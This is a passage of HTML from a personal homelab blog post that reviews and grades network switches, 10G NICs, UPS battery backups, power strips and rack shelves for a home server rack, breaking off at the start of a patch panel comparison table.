 &lt;a href="https://mtlynch.io/building-first-homelab-rack/microtik-interface.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/building-first-homelab-rack/microtik-interface_hu_630a044a03437d96.webp 300w, https://mtlynch.io/building-first-homelab-rack/microtik-interface_hu_1b99b7435f5cee45.webp 600w, https://mtlynch.io/building-first-homelab-rack/microtik-interface_hu_c2a54c85526476.webp 800w, https://mtlynch.io/building-first-homelab-rack/microtik-interface_hu_7054363f5b9575da.webp 1200w, https://mtlynch.io/building-first-homelab-rack/microtik-interface.webp 1280w'
 src="https://mtlynch.io/building-first-homelab-rack/microtik-interface.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>I want to like Microtik, but I can&amp;rsquo;t get over their weird 90s-style admin UI&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I&amp;rsquo;ve had great experience with unmanaged TP-Link switches, so I felt good about the brand.&lt;/p>
&lt;p>I almost went with &lt;a href="https://www.aliexpress.us/item/3256804686136282.html">a 16 x 2.5 Gbps port TP-Link unit&lt;/a>, but it&amp;rsquo;s only available from China, and it doesn&amp;rsquo;t seem to have any US safety or compliance certification. I decided not to risk it.&lt;/p>
&lt;p>I considered the &lt;a href="https://www.amazon.com/TP-Link-JetStream-T1600G-28PS-24-Port-Gigabit/dp/B0196RGV50">TP-Link T1600G-28PS&lt;/a>, which had everything I liked about the &lt;a href="https://www.newegg.com/tp-link-tl-sg3428x-24-x-rj45-4-x-sfp/p/0XP-0054-00091?Item=0XP-0054-00091&amp;amp;SoldByNewegg=1">TL-SG3428X&lt;/a>, except it &lt;em>also&lt;/em> had PoE. But I read several reviews that said the fans are loud, and I didn&amp;rsquo;t want a noisy switch. I went with the TL-SG3428X and figured I could get a cheaper, silent unmanaged PoE switch, as I didn&amp;rsquo;t need 24 PoE ports.&lt;/p>
&lt;h3 id="review-tp-link-tl-sg3428x">Review: TP-Link TL-SG3428X&lt;/h3>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/building-first-homelab-rack/switch-patch-panel.webp">
 &lt;img
 
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/building-first-homelab-rack/switch-patch-panel_hu_5cd6be3fb428d33.webp 300w, https://mtlynch.io/building-first-homelab-rack/switch-patch-panel_hu_b49e643eaec2016a.webp 600w, https://mtlynch.io/building-first-homelab-rack/switch-patch-panel_hu_32e33104f0ff65ee.webp 800w, https://mtlynch.io/building-first-homelab-rack/switch-patch-panel_hu_13015a3ec892345f.webp 1200w, https://mtlynch.io/building-first-homelab-rack/switch-patch-panel.webp 1600w'
 src="https://mtlynch.io/building-first-homelab-rack/switch-patch-panel.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;ul>
&lt;li>Grade: B-&lt;/li>
&lt;/ul>
&lt;p>Overall, I like the TP-Link TL-SG3428X switch pretty well. It&amp;rsquo;s silent, which is a big plus. I haven&amp;rsquo;t had any issues with reliability. My experience with the TP-Link web admin UI has been poor, but that&amp;rsquo;s about standard for networking hardware.&lt;/p>
&lt;p>It took me a long time to figure out &lt;a href="https://mtlynch.io/notes/debugging-vlans-tp-link/">how to configure VLANs&lt;/a>. I&amp;rsquo;ve seen how other &lt;a href="https://www.youtube.com/watch?v=XdqP14NclZ0">brands like QNAP represent VLAN controls&lt;/a>, and I think they did a much better job than TP-Link.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 650px">



 &lt;a href="https://mtlynch.io/building-first-homelab-rack/tp-link-web-ui.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 650px, 98vw"
 srcset='https://mtlynch.io/building-first-homelab-rack/tp-link-web-ui_hu_970b77f35c0faac3.webp 300w, https://mtlynch.io/building-first-homelab-rack/tp-link-web-ui_hu_72198652d1599c11.webp 600w, https://mtlynch.io/building-first-homelab-rack/tp-link-web-ui_hu_6bcac7d1fdbcfa15.webp 800w, https://mtlynch.io/building-first-homelab-rack/tp-link-web-ui.webp 863w'
 src="https://mtlynch.io/building-first-homelab-rack/tp-link-web-ui.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>This page in the TP-Link web UI shows which ports are members of the &lt;code>Guest&lt;/code> VLAN, but it always takes me a few minutes to remember how to interpret the screen.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h3 id="review-netgear-gs116lp-16-port-unmanaged-poe-switch">Review: Netgear GS116LP 16-Port unmanaged PoE switch&lt;/h3>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/building-first-homelab-rack/poe-switch.webp">
 &lt;img
 
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/building-first-homelab-rack/poe-switch_hu_ce4c026900313e8c.webp 300w, https://mtlynch.io/building-first-homelab-rack/poe-switch_hu_87153592e23adfd0.webp 600w, https://mtlynch.io/building-first-homelab-rack/poe-switch_hu_835622a8551830a4.webp 800w, https://mtlynch.io/building-first-homelab-rack/poe-switch_hu_faf3bee7fdf63268.webp 1200w, https://mtlynch.io/building-first-homelab-rack/poe-switch.webp 1600w'
 src="https://mtlynch.io/building-first-homelab-rack/poe-switch.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;ul>
&lt;li>Grade: A&lt;/li>
&lt;/ul>
&lt;p>I only have a handful of PoE devices, so I originally planned to power them with a small 5-port PoE switch on a shelf. Late last year, I began &lt;a href="https://mtlynch.io/bootstrapped-founder-year-6/#close-the-tinypilot-office">prepping my work office for our move-out&lt;/a>, and I decided to adopt the Netgear GS116LP switch from there.&lt;/p>
&lt;p>As an unmanaged switch, it does what I need. It powers my devices, it was easy to install, and it&amp;rsquo;s silent.&lt;/p>
&lt;p>In retrospect, I should have tried harder to find one managed switch with PoE ports instead of having two separate switches. I&amp;rsquo;ll elaborate more &lt;a href="#get-a-poe-enabled-switch-if-you-have-any-poe-components">below&lt;/a>.&lt;/p>
&lt;h2 id="choosing-10g-nics">Choosing 10G NICs&lt;/h2>
&lt;p>If you choose a 10 Gbps switch, your work isn&amp;rsquo;t over. To achieve 10 Gbps speeds, you need a 10G network interface controller (NIC) for each device you want to run at 10 Gbps speeds. A regular 1 Gbps NIC will still work with a 10 Gbps switch, but it will be limited to 1 Gbps Ethernet.&lt;/p>
&lt;p>I had a lot of trouble finding 10G NICs for my systems. First, the market for 10G NICs is almost entirely enterprise-grade data centers, so they cost nearly $1k each. I was able to find used NICs for under $100, but I had to scour forum posts for reports of buying different NICs used.&lt;/p>
&lt;p>I got a 10G NIC working on my Windows desktop after a bit of tinkering, but I tested three different NICs on my TrueNAS storage server, and I couldn&amp;rsquo;t get any of them to work.&lt;/p>
&lt;ul>
&lt;li>Mellanox ConnextX-3 CX311A
&lt;ul>
&lt;li>On my Windows desktop, the activity lights didn&amp;rsquo;t flash, and Windows didn&amp;rsquo;t recognize anything in the PCI slot.&lt;/li>
&lt;li>I found a forum post where someone mentioned that switching to another PCI slot on their motherboard solved the problem. I was skeptical, but that fixed it.&lt;/li>
&lt;li>My TrueNAS server couldn&amp;rsquo;t recognize it at all.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Chelsio T520-LL-CR
&lt;ul>
&lt;li>Chelsio is one of the most common brands for TrueNAS servers, and &lt;a href="https://www.servethehome.com/buyers-guides/top-hardware-components-for-truenas-freenas-nas-servers/top-picks-freenas-nics-networking/">Serve the Home&lt;/a> listed it as a recommended option.&lt;/li>
&lt;li>My TrueNAS server &lt;a href="https://www.truenas.com/community/threads/no-success-with-three-different-10-gb-nics.111026/">couldn&amp;rsquo;t recognize it&lt;/a>.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Chelsio Dual Port T520-CR
&lt;ul>
&lt;li>My TrueNAS server &lt;a href="https://www.truenas.com/community/threads/no-success-with-three-different-10-gb-nics.111026/">couldn&amp;rsquo;t recognize this one, either&lt;/a>.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;p>My best guess is that the motherboard on my TrueNAS server has limited compatibility. It&amp;rsquo;s &lt;a href="https://mtlynch.io/budget-nas/#motherboard">a consumer-grade ASUS motherboard&lt;/a>, so it may not support these enterprise-oriented 10G NICs.&lt;/p>
&lt;p>I plan to build a new storage server in the next few months, so I&amp;rsquo;ll try a fancier motherboard to see if that lets me use one of the three spare 10G NICs I&amp;rsquo;ve now accrued.&lt;/p>
&lt;p>Currently, the only 10 Gbps link in my network is between my Windows desktop and my managed switch. If I need to click a checkbox on TP-Link&amp;rsquo;s crummy web UI, I can do it at blazing 10 Gbps speeds.&lt;/p>
&lt;h2 id="choosing-a-ups-battery-backup">Choosing a UPS (battery backup)&lt;/h2>
&lt;p>When I lived in Manhattan, I&amp;rsquo;d experience around five power outages per year. They were all brief, but they were long enough to power cycle my computer and lose my work.&lt;/p>
&lt;p>To avoid surprise shutdowns, I bought a battery backup system, also known as an uninterruptible power supply (UPS). It was an &lt;a href="https://www.apc.com/us/en/product/BR1500G/apc-backups-pro-1500va-865w-tower-120v-10x-nema-515r-outlets-avr-lcd-user-replaceable-battery/">APC BR1500G&lt;/a>, and I&amp;rsquo;ve used that same battery backup for six years.&lt;/p>













 








 
 
 

 
 
 






&lt;div class="img" style="max-width: 350px">



 &lt;a href="https://mtlynch.io/building-first-homelab-rack/apc-ups.webp">
 &lt;img
 
 sizes="(min-width: 768px) 350px, 98vw"
 srcset='https://mtlynch.io/building-first-homelab-rack/apc-ups_hu_fef60f406ecca3e7.webp 300w, https://mtlynch.io/building-first-homelab-rack/apc-ups_hu_47f7733238560950.webp 600w, https://mtlynch.io/building-first-homelab-rack/apc-ups.webp 601w'
 src="https://mtlynch.io/building-first-homelab-rack/apc-ups.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>For short power outages, the battery saves me from any downtime. For extended outages, the battery gives me enough time to shut down my systems to avoid data loss.&lt;/p>
&lt;p>The downside of the battery backup is that it added a lot of cabling to my office. My desktop, servers, and router were all in different corners of my office, so I had to run bulky, unsightly power cables everywhere.&lt;/p>
&lt;h3 id="how-much-time-do-you-need-for-a-graceful-shutdown">How much time do you need for a graceful shutdown?&lt;/h3>
&lt;p>For extended power outages, you&amp;rsquo;ll need enough time to shut down your systems before they exhaust your UPS&amp;rsquo; battery. The amount of time you need depends on the size of your UPS&amp;rsquo; battery and the power draw of the systems attached to it.&lt;/p>
&lt;p>I theoretically could have used my &lt;a href="http://www.p3international.com/products/p4460.html">Kill A Watt power meter&lt;/a> to measure the wattage of each of my devices during typical operation and then used that to find a battery. I was too lazy for that level of rigor, so I estimated based on metrics from my previous UPS.&lt;/p>
&lt;p>My APC UPS had an 865 W battery, and it reported 12 minutes of battery life while powering a desktop computer, a VM server, a storage server, a firewall, and a networking switch, so I thought 800 W would be a good minimum for the battery.&lt;/p>
&lt;h3 id="does-it-need-to-send-alerts">Does it need to send alerts?&lt;/h3>
&lt;p>After I set up my rack, a co-worker mentioned that most modern UPS systems can send alerts to devices on the local network to tell them to shut down gracefully.&lt;/p>
&lt;p>For me, automating shutdowns from my UPS isn&amp;rsquo;t worth the trouble, but you might choose differently if your systems are more sensitive to hard power cuts or if you&amp;rsquo;re in an area where power outages are more frequent.&lt;/p>
&lt;h3 id="candidates-2">Candidates&lt;/h3>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Brand&lt;/th>
 &lt;th>Model&lt;/th>
 &lt;th>Power&lt;/th>
 &lt;th>Outlets&lt;/th>
 &lt;th>Price&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>&lt;strong>CyberPower&lt;/strong>&lt;/td>
 &lt;td>&lt;a href="https://www.bhphotovideo.com/c/product/1709939-REG/cyberpower_cp1500pfcrm2u_cp15_1500va_100w_2u_rackmount.html">&lt;strong>CP1500PFCRM2U&lt;/strong>&lt;/a>&lt;/td>
 &lt;td>1000 W&lt;/td>
 &lt;td>8&lt;/td>
 &lt;td>$335&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Tripp Lite&lt;/td>
 &lt;td>&lt;a href="https://www.newegg.com/tripp-lite-smart1500lcd-5-15r/p/N82E16842111052">SMART1500LCD&lt;/a>&lt;/td>
 &lt;td>900 W&lt;/td>
 &lt;td>8&lt;/td>
 &lt;td>$298&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>CyberPower&lt;/td>
 &lt;td>&lt;a href="https://www.newegg.com/cyberpower-cps1500avr/p/N82E16842102006">CPS1500AVR&lt;/a>&lt;/td>
 &lt;td>950 W&lt;/td>
 &lt;td>8&lt;/td>
 &lt;td>$460&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;h3 id="review-cyberpower-cp1500pfcrm2u">Review: CyberPower CP1500PFCRM2U&lt;/h3>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/building-first-homelab-rack/cyberpower-ups.webp">
 &lt;img
 
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/building-first-homelab-rack/cyberpower-ups_hu_e1addea0f4fe726d.webp 300w, https://mtlynch.io/building-first-homelab-rack/cyberpower-ups_hu_1f0e3273dd7621e5.webp 600w, https://mtlynch.io/building-first-homelab-rack/cyberpower-ups_hu_e058e15ff4845e8f.webp 800w, https://mtlynch.io/building-first-homelab-rack/cyberpower-ups_hu_d0ac97e5c423a2cc.webp 1200w, https://mtlynch.io/building-first-homelab-rack/cyberpower-ups.webp 1200w'
 src="https://mtlynch.io/building-first-homelab-rack/cyberpower-ups.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;ul>
&lt;li>Grade: A&lt;/li>
&lt;/ul>
&lt;p>The CyberPower LCD is user-friendly and has useful metrics about power consumption. You can also turn the display off to have fewer flashing lights on your rack.&lt;/p>
&lt;p>The UPS reports 30 minutes of battery life while powering a VM server, a storage server, a firewall, and a networking switch. The total power draw of all these systems in a typical workload is 200 W.&lt;/p>
&lt;p>CyberPower offers &lt;a href="https://www.cyberpowersystems.com/products/software/power-panel-business/">PowerPanel Business&lt;/a>, a free management tool for controlling the UPS. To use it, you need to connect a computer to the UPS via a USB cable. It&amp;rsquo;s the kind of thing a Raspberry Pi would be great for, but CyberPower sadly doesn&amp;rsquo;t offer a way to install PowerPanel on ARM systems.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/building-first-homelab-rack/powerpanel-webui.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/building-first-homelab-rack/powerpanel-webui_hu_6afcb69e85f60505.webp 300w, https://mtlynch.io/building-first-homelab-rack/powerpanel-webui_hu_7516c6ca3334d5be.webp 600w, https://mtlynch.io/building-first-homelab-rack/powerpanel-webui_hu_2e41936db7773581.webp 800w, https://mtlynch.io/building-first-homelab-rack/powerpanel-webui_hu_94d852f4b79d08cf.webp 1200w, https://mtlynch.io/building-first-homelab-rack/powerpanel-webui.webp 1224w'
 src="https://mtlynch.io/building-first-homelab-rack/powerpanel-webui.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>I rate CyberPower&amp;rsquo;s UPS management software as &amp;quot;okay.&amp;quot;&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I played with PowerPanel for a few minutes, and I thought it was okay but unnecessary. The quality is what you&amp;rsquo;d expect from closed-source, vendor-specific hardware management software. The physical controls on the UPS are good enough for me.&lt;/p>
&lt;p>PowerPanel can run custom scripts when the UPS loses power, so I could theoretically automate shutdowns of the devices in my rack, but it&amp;rsquo;s not worth the trouble in my environment.&lt;/p>
&lt;p>&lt;strong>Update (2024-04-07)&lt;/strong>: A few readers have recommended the &lt;a href="https://networkupstools.org/">Network UPS Tools (NUT) project&lt;/a>, the open-source alternative to proprietary UPS vendor software. I haven&amp;rsquo;t tested it yet, but it looks interesting.&lt;/p>
&lt;p>Another plus is that the UPS is silent, which I thought was a given for battery backups, but it turns out it&amp;rsquo;s not&amp;hellip;&lt;/p>
&lt;h3 id="review-tripp-lite-smart1500lcd">Review: Tripp Lite SMART1500LCD&lt;/h3>













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/building-first-homelab-rack/tripp-lite-ups.webp">
 &lt;img
 
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/building-first-homelab-rack/tripp-lite-ups_hu_d395102c3acc00c2.webp 300w, https://mtlynch.io/building-first-homelab-rack/tripp-lite-ups_hu_29a0acdb4378e8de.webp 600w, https://mtlynch.io/building-first-homelab-rack/tripp-lite-ups_hu_9136d1043614defd.webp 800w, https://mtlynch.io/building-first-homelab-rack/tripp-lite-ups.webp 1147w'
 src="https://mtlynch.io/building-first-homelab-rack/tripp-lite-ups.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;ul>
&lt;li>Grade: D&lt;/li>
&lt;/ul>
&lt;p>The first UPS I purchased for my rack was the Tripp Lite SMART1500LCD, but it was incredibly noisy.&lt;/p>
&lt;p>I didn&amp;rsquo;t even realize battery backups could &lt;em>be&lt;/em> noisy. My APC UPS is silent except when it loses power and fails over to the battery.&lt;/p>
&lt;p>Not only was the Tripp Lite UPS the loudest thing in my rack, it was the loudest thing in my whole house. It was like constantly having a hair dryer running in my office. My wife could hear it from her office a floor away.&lt;/p>
&lt;p>Did I just get a defective unit? Surely, a UPS can&amp;rsquo;t be designed to be this loud all the time, right?&lt;/p>
&lt;p>I reached out to Tripp Lite customer support with a video of the UPS making noise. They said that it was working as intended.&lt;/p>
&lt;p>I tried to get used to the noise, but it was so distracting that I gave up after day two.&lt;/p>
&lt;p>To my surprise, Newegg&amp;rsquo;s return policy for the UPS was &amp;ldquo;replacement only.&amp;rdquo; I&amp;rsquo;d always had an easy return experience with Newegg so I didn&amp;rsquo;t even think to check the return policy beforehand, but I guess they&amp;rsquo;re more strict about these 29 lb units.&lt;/p>
&lt;p>Fortunately, I asked Newegg customer service nicely for a refund, and they granted it, which is another reason I keep coming back to Newegg.&lt;/p>
&lt;h2 id="choosing-a-power-strip">Choosing a power strip&lt;/h2>
&lt;p>Even though my rack has a UPS with many power outlets, I find it useful to have a simple power strip as well.&lt;/p>
&lt;p>Some of the components in my rack are non-essential and don&amp;rsquo;t need to stay online during a power outage.&lt;/p>
&lt;p>For example, I keep a little IoT device in my rack that &lt;a href="https://mtlynch.io/notes/debugging-vlans-tp-link/#mistake-2-forgetting-to-add-my-router-to-the-vlan">monitors the performance of my solar panels&lt;/a>. That device is totally extraneous, so I&amp;rsquo;m fine if it goes offline during a power failure. In fact, I prefer it to go offline because I don&amp;rsquo;t want to squander limited battery capacity on a solar monitor.&lt;/p>
&lt;h3 id="candidates-3">Candidates&lt;/h3>
&lt;p>Power strips are, frankly, not so exciting, so I didn&amp;rsquo;t shop around very much. I just looked at two.&lt;/p>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Brand&lt;/th>
 &lt;th>Model&lt;/th>
 &lt;th>Outlets&lt;/th>
 &lt;th>Price&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>&lt;strong>Tripp Lite&lt;/strong>&lt;/td>
 &lt;td>&lt;a href="https://www.newegg.com/black-tripp-lite-12-outlets-power-strip/p/N82E16812120265?Item=9SIAFVF75F0869">&lt;strong>RS-1215-RA&lt;/strong>&lt;/a>&lt;/td>
 &lt;td>&lt;strong>12&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$78&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>CyberPower&lt;/td>
 &lt;td>&lt;a href="https://www.newegg.com/cyberpower-cps1215rms-12-outlets-nema-5-15r/p/N82E16842102076">CPS1215RMS&lt;/a>&lt;/td>
 &lt;td>12&lt;/td>
 &lt;td>$60&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;h3 id="review-tripp-lite-rs-1215-ra">Review: Tripp Lite RS-1215-RA&lt;/h3>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/building-first-homelab-rack/tripp-lite-strip.webp">
 &lt;img
 
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/building-first-homelab-rack/tripp-lite-strip_hu_3f6aaa51d8876516.webp 300w, https://mtlynch.io/building-first-homelab-rack/tripp-lite-strip_hu_5bb7fa9aa7a1b1c.webp 600w, https://mtlynch.io/building-first-homelab-rack/tripp-lite-strip_hu_f13259e62a02dfa1.webp 800w, https://mtlynch.io/building-first-homelab-rack/tripp-lite-strip_hu_466df3482d74f7a9.webp 1200w, https://mtlynch.io/building-first-homelab-rack/tripp-lite-strip.webp 1200w'
 src="https://mtlynch.io/building-first-homelab-rack/tripp-lite-strip.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;ul>
&lt;li>Grade: B+&lt;/li>
&lt;/ul>
&lt;p>This power strip has worked well. The rear outlets have wide enough spacing that brick-style power plugs don&amp;rsquo;t block adjacent outlets.&lt;/p>
&lt;p>Nothing in my rack plugs into the front outlets, but I occasionally find them useful when I have a device I want to test for a few hours.&lt;/p>
&lt;h3 id="review-cyberpower-cps1215rms">Review: CyberPower CPS1215RMS&lt;/h3>
&lt;ul>
&lt;li>Grade: C&lt;/li>
&lt;/ul>
&lt;p>I bought this power strip a few years ago &lt;a href="https://mtlynch.io/retrospectives/2021/05/">for the rack at my work office&lt;/a>. My main issue is that the outlets are too close together. A lot of the things I plug in at the office have wide power bricks, so they cover two outlets.&lt;/p>
&lt;h2 id="choosing-rack-shelves">Choosing rack shelves&lt;/h2>
&lt;p>I already had a few &lt;a href="#what-i-already-had">existing components&lt;/a> from my pre-rack life that I planned to bring into my rack, so I needed at least 2U of rack shelves for those components.&lt;/p>
&lt;h3 id="candidates-4">Candidates&lt;/h3>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Brand&lt;/th>
 &lt;th>Model&lt;/th>
 &lt;th>Price&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Pyle&lt;/td>
 &lt;td>&lt;a href="https://pyleusa.com/products/plrstn62u">PLRSTN62U 19&amp;quot; 2U&lt;/a>&lt;/td>
 &lt;td>$64 for two&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>StarTech&lt;/td>
 &lt;td>&lt;a href="https://www.startech.com/en-us/server-management/cabshelfv">CABSHELFV 2U 16&amp;quot;&lt;/a>&lt;/td>
 &lt;td>$88 for two&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;h3 id="review-pyle-plrstn62u-rack-shelves">Review: Pyle PLRSTN62U rack shelves&lt;/h3>
&lt;ul>
&lt;li>Grade: A&lt;/li>
&lt;/ul>
&lt;p>I had never heard of Pyle as a brand, but I found these shelves online, and they&amp;rsquo;ve worked out well.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/building-first-homelab-rack/rack-shelves.webp">
 &lt;img
 
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/building-first-homelab-rack/rack-shelves_hu_bc077573cf46fa33.webp 300w, https://mtlynch.io/building-first-homelab-rack/rack-shelves_hu_95420a64c09ed431.webp 600w, https://mtlynch.io/building-first-homelab-rack/rack-shelves_hu_9d479da6e9834dc0.webp 800w, https://mtlynch.io/building-first-homelab-rack/rack-shelves_hu_f621fc39604088df.webp 1200w, https://mtlynch.io/building-first-homelab-rack/rack-shelves.webp 1600w'
 src="https://mtlynch.io/building-first-homelab-rack/rack-shelves.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>I keep non-mountable components on two 2U Pyle rack shelves.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>They&amp;rsquo;re easy to install, decently priced, and they have a lip that prevents components from sliding off the shelf.&lt;/p>
&lt;h3 id="review-startech-cabshelfv-2u-rack-shelves">Review: StarTech CABSHELFV 2U rack shelves&lt;/h3>
&lt;ul>
&lt;li>Grade: D&lt;/li>
&lt;/ul>
&lt;p>I originally purchased the StarTech shelves because StarTech has such a good reputation in the server world.&lt;/p>
&lt;p>When I installed them into my rack, I thought I must be misunderstanding how they work. They have a bottom lip that bends downward into the next rack slot.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/building-first-homelab-rack/star-tech-shelf-lip.webp">
 &lt;img
 
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/building-first-homelab-rack/star-tech-shelf-lip_hu_97cc5ca2e4e7e673.webp 300w, https://mtlynch.io/building-first-homelab-rack/star-tech-shelf-lip_hu_bc9fddd44a373491.webp 600w, https://mtlynch.io/building-first-homelab-rack/star-tech-shelf-lip_hu_a1ea62a3fe1aad09.webp 800w, https://mtlynch.io/building-first-homelab-rack/star-tech-shelf-lip_hu_97d4c7f5adbbcca5.webp 1200w, https://mtlynch.io/building-first-homelab-rack/star-tech-shelf-lip.webp 1600w'
 src="https://mtlynch.io/building-first-homelab-rack/star-tech-shelf-lip.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>StarTech shelves have a downward-facing lip that messes up the rest of the rack layout.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>This downward lip forces you to either allocate 3U to each of your 2U shelves or shift everything down by 0.5U.&lt;/p>
&lt;p>I couldn&amp;rsquo;t even figure out a purpose for the lip. It would make sense if it curved up because that would protect items on the shelf from slipping off, but why bend down? &lt;del>It didn&amp;rsquo;t look like it provided any structural support to the shelf, either.&lt;/del>&lt;/p>
&lt;p>&lt;strong>Update (2024-04-09)&lt;/strong>: Several helpful readers have pointed out that this lip does indeed improve the shelf&amp;rsquo;s structural integrity by preventing bends toward the middle of the shelf.&lt;/p>
&lt;p>I scoured reviews to see if anyone else was talking about this shelf&amp;rsquo;s bizarre design choice. When other reviewers mentioned it, they didn&amp;rsquo;t seem to mind. The comments had the tone of, &amp;ldquo;Oh, yeah, it extends past 2U a bit. Whatevs.&amp;rdquo;&lt;/p>













 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 680px">



 &lt;a href="https://mtlynch.io/building-first-homelab-rack/3u-shelf.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 680px, 98vw"
 srcset='https://mtlynch.io/building-first-homelab-rack/3u-shelf_hu_ee680a0bda1bf3cc.webp 300w, https://mtlynch.io/building-first-homelab-rack/3u-shelf_hu_cb2ead292ff6fd5d.webp 600w, https://mtlynch.io/building-first-homelab-rack/3u-shelf.webp 678w'
 src="https://mtlynch.io/building-first-homelab-rack/3u-shelf.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Reviewer acknowledges that StarTech&amp;rsquo;s 2U rack shelf takes up 3U of space, still rates it 4 out of 5.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I&amp;rsquo;m baffled that anyone would accept a 2U shelf that takes up 3U of space. I promptly returned mine and bought the Pyle shelves instead.&lt;/p>
&lt;h2 id="choosing-a-patch-panel">Choosing a patch panel&lt;/h2>
&lt;p>From reading homelab blogs over the years, I noticed a lot of other homelabbers integrating a patch panel into their racks.&lt;/p>
&lt;p>When it finally came time to build my server rack, I had to ask the question that had been on my mind for ages.&lt;/p>
&lt;h3 id="what-the-heck-is-a-patch-panel">What the heck is a patch panel?&lt;/h3>
&lt;p>Shopping around for patch panels made me even more confused. It&amp;rsquo;s just a row of empty spaces? What&amp;rsquo;s the point?&lt;/p>
&lt;p>The concept didn&amp;rsquo;t click for me until I built my rack. In short, the patch panel keeps the clutter of your networking cables behind your rack rather than in front of it.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/building-first-homelab-rack/switch-patch-panel.webp">
 &lt;img
 
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/building-first-homelab-rack/switch-patch-panel_hu_5cd6be3fb428d33.webp 300w, https://mtlynch.io/building-first-homelab-rack/switch-patch-panel_hu_b49e643eaec2016a.webp 600w, https://mtlynch.io/building-first-homelab-rack/switch-patch-panel_hu_32e33104f0ff65ee.webp 800w, https://mtlynch.io/building-first-homelab-rack/switch-patch-panel_hu_13015a3ec892345f.webp 1200w, https://mtlynch.io/building-first-homelab-rack/switch-patch-panel.webp 1600w'
 src="https://mtlynch.io/building-first-homelab-rack/switch-patch-panel.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Patch panels keep the front of your rack clean by routing network cables to the rear of the rack.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;div class="notice notice-info">
 &lt;strong>Tip&lt;/strong>: I recommend having a patch panel adjacent to every switch in your rack.
&lt;/div>

&lt;h3 id="candidates-5">Candidates&lt;/h3>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Brand&lt;/th>
 &lt;th>Model&lt;/th>
 &lt;th>Price&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>NewYork Cables&lt;/td>
